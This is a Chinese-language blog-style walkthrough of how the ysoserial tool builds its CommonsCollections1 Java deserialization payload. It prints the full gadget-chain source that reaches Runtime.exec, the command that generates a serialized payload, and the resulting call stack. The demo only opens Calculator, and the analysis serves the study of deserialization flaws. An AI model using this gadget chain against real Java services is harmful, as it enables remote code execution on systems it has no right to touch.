简介

Ysoserial是java反序列化中最常用的生成payload工具,可以使用于WeblogicShirojava应用的反序列化漏洞利用。

调试学习漏洞原理,分析Payload构造技术,可以加深对Java反序列化漏洞的理解。

入口

CommonsCollections1命令为例:

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 "open /System/Applications/Calculator.app"

Ysoserial调试的入口文件位置:

1
src/main/java/ysoserial/GeneratePayload.java

image-20201118115510029

首先从命令行里获取调用的payloadTypeCommonsCollections1,然后调用Utils.getPayloadClass加载对应模块。

ysoserial.payloads.ObjectPayload.Utils#getPayloadClass

image-20201118121145339

通过GeneratePayload.class.getPackage().getName() + ".payloads." + className获取完整类名ysoserial.payloads.CommonsCollections1

接着通过Class.forName加载需要的payload模块并返回GeneratePayload.java

ysoserial/GeneratePayload.java:33

image-20201118121858305

实例化创建payload模块对象,然后将欲执行的恶意命令传入payload.getObject。不同payload对象都会实现不同的getObject函数,该函数创建包含恶意命令的对象。

ysoserial.Serializer#serialize(java.lang.Object, java.io.OutputStream)

image-20201118124743772

调用Serializer.serialize序列化并输出构造好的对象。

CommonsBeanutils1

CommonsCollections1

适用条件:

  • JDK vserion 1.7
  • Commons Collections 3.1-3.2.1

添加pom.xml

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

序列化并写入文件

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 "open /System/Applications/Calculator.app" > commonscollections1.ser

Payload 分析

ysoserial.payloads.CommonsCollections1#getObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[]{command};
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(1)
}
);
// real chain for after setup
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, execArgs),
new ConstantTransformer(1)};

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return handler;
}

首先创建ChainedTransformer对象,构造方法如下:

org.apache.commons.collections.functors.ChainedTransformer#ChainedTransformer

1
2
3
4
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

且该对象的构造参数为Transformer[]数组,赋值给iTransformers成员。

org.apache.commons.collections.functors.ConstantTransformer#ConstantTransformer

1
2
3
4
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

数组中包含一个ConstantTransformer对象,赋值给iConstant成员。

ConstantTransformerChainedTransformer均为Transformer子类,此时transformerChain变量如下:

image-20201118154136706

接着创建Transformer[]数组,包含五个对象元素,分别为ConstantTransformerInvokerTransformer类。

org.apache.commons.collections.functors.InvokerTransformer#InvokerTransformer(java.lang.String, java.lang.Class[], java.lang.Object[])

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

InvokerTransformer的构造参数分别对iMethodName类数组和iParamTypes对象数组成员赋值,整个Transformer[]数组如下:

image-20201118155115721

第一个元素包含Runtime类,后面的元素为反射的关键字,会在Gadget chain中拼接成为java.lang.Runtime.getRuntime().exec('calc.exe');"完成命令执行。

创建一个HashMap和最开始创建的ChainedTransformer对象一起传进LazyMap.decorate

org.apache.commons.collections.map.LazyMap#decorate(java.util.Map, org.apache.commons.collections.Transformer)

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

实例化LazyMap对象,跟进。

org.apache.commons.collections.map.LazyMap#LazyMap(java.util.Map, org.apache.commons.collections.Transformer)

1
2
3
4
5
6
7
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

跟进父类的构造方法

org.apache.commons.collections.map.AbstractMapDecorator#AbstractMapDecorator(java.util.Map)

1
2
3
4
5
6
public AbstractMapDecorator(Map map) {
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
}
this.map = map;
}

父类对map成员进行赋值,子类对factory进行赋值,此时具体结构为:

image-20201118162112584

接着将lazyMap传入Gadgets.createMemoitizedProxy

ysoserial.payloads.util.Gadgets#createMemoitizedProxy

1
2
3
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}

调用了createProxy函数,调用createMemoizedInvocationHandler函数作为第一个构造参数。

ysoserial.payloads.util.Gadgets#createMemoizedInvocationHandler

1
2
3
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}

参数ANN_INV_HANDLER_CLASSsun.reflect.annotation.AnnotationInvocationHandler,跟进Reflections.getFirstCtor函数

ysoserial.payloads.util.Reflections#getFirstCtor

1
2
3
4
5
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
return ctor;
}

加载sun.reflect.annotation.AnnotationInvocationHandler类并返回第一个构造函数,在上层的createMemoizedInvocationHandler中通过newInstance实例化且参数为lazyMap

sun.reflect.annotation.AnnotationInvocationHandler#AnnotationInvocationHandler

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

lazyMap赋值memberValues成员,具体如下:

image-20201118165406385

给最终返回一个AnnotationInvocationHandler对象并传入createProxy函数

ysoserial.payloads.util.Gadgets#createProxy

1
2
3
4
5
6
7
8
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}

查看AnnotationInvocationHandler类源码

1
AnnotationInvocationHandler implements InvocationHandler, Serializable

继承了InvocationHandler类,这里利用Proxy.newProxyInstance创建了AnnotationInvocationHandler的动态代理对象,并返回该代理对象到上层的mapProxy变量。

接着利用Gadgets.createMemoitizedProxy创建一个AnnotationInvocationHandler对象,构造参数为AnnotationInvocationHandler的动态代理对象,对象结构如下:

image-20201118171454817

接着调用Reflections.setFieldValue,利用反射将包含恶意命令的Transformer[]数组塞进最开始的Transformer对象的iTransformers成员。

image-20201118171943187

因为是引用,因此AnnotationInvocationHandler类的memberValues动态代理对象成员的((ChainedTransformer) ((LazyMap) this.memberValues).factory).iTransformers也会被修改为恶意链,构造完成。

Gadget Chain分析

读取文件并反序列化

1
2
3
FileInputStream fi = new FileInputStream("/Users/rai4over/Desktop/ysoserial/commonscollections1.ser");
ObjectInputStream fin = new ObjectInputStream(fi);
fin.readObject();

sun.reflect.annotation.AnnotationInvocationHandler#readObject

image-20201119172802259

动态代理AnnotationInvocationHandlermemberValues成员调用了entrySet方法,这里会调用invoke函数。

sun.reflect.annotation.AnnotationInvocationHandler#invoke

image-20201120110257299

调用的方法为entrySet,判断后进入对应的分支,跟进LazyMapget方法。

org.apache.commons.collections.map.LazyMap#get

image-20201120110624545

factoryChainedTransformer类,目前iTransformers[]数组成员包含恶意链:

image-20201120110914167

数组中第一个和最后一个元素为ConstantTransformer对象,中间的三个为InvokerTransformer对象。

org.apache.commons.collections.functors.ChainedTransformer#transform

image-20201120111218930

遍历iTransformers[]数组,调用每个元素的transform方法,并将返回值作为参数,传给下个元素调用transform方法。

org.apache.commons.collections.functors.ConstantTransformer#transform

1
2
3
public Object transform(Object input) {
return iConstant;
}

返回包含的java.lang.Runtime类对象的iConstant成员,并传递给下一个元素的transform方法。

org.apache.commons.collections.functors.InvokerTransformer#transform

image-20201120113422229

getClass获取类,iMethodName, iParamTypes成员序列化时可控,利用反射获取类中的方法,然后调用方法并返回。

  • 第一个InvokerTransformertransform方法时,java.lang.RuntimegetClass获取java.lang.Class类,接着利用反射获取java.lang.Class类中的getMethod方法,然后传入java.lang.Runtime调用getMethod方法并返回getRuntime方法。
  • 第二个InvokerTransformertransform方法时,java.lang.Runtime.getRuntimegetClass获取java.lang.reflect.Method类,接着利用反射获取java.lang.reflect.Method类中的invoke方法,然后传入getRuntime方法调用invoke方法并返回Runtime实例。
  • 第三个InvokerTransformertransform方法时,Runtime实例的getClass获取java.lang.Runtime类,接着利用反射获取java.lang.Runtime类的exec方法,然后传入Runtime实例调用exec方法并执行恶意命令。

最终的调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
exec:345, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
invoke:69, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy0 (com.sun.proxy)
readObject:346, AnnotationInvocationHandler (sun.reflect.annotation)

CommonsCollections2

CommonsCollections3

CommonsCollections4

CommonsCollections5

CommonsCollections6

CommonsCollections7

参考

https://www.cnblogs.com/litlife/p/12571787.html#2509930662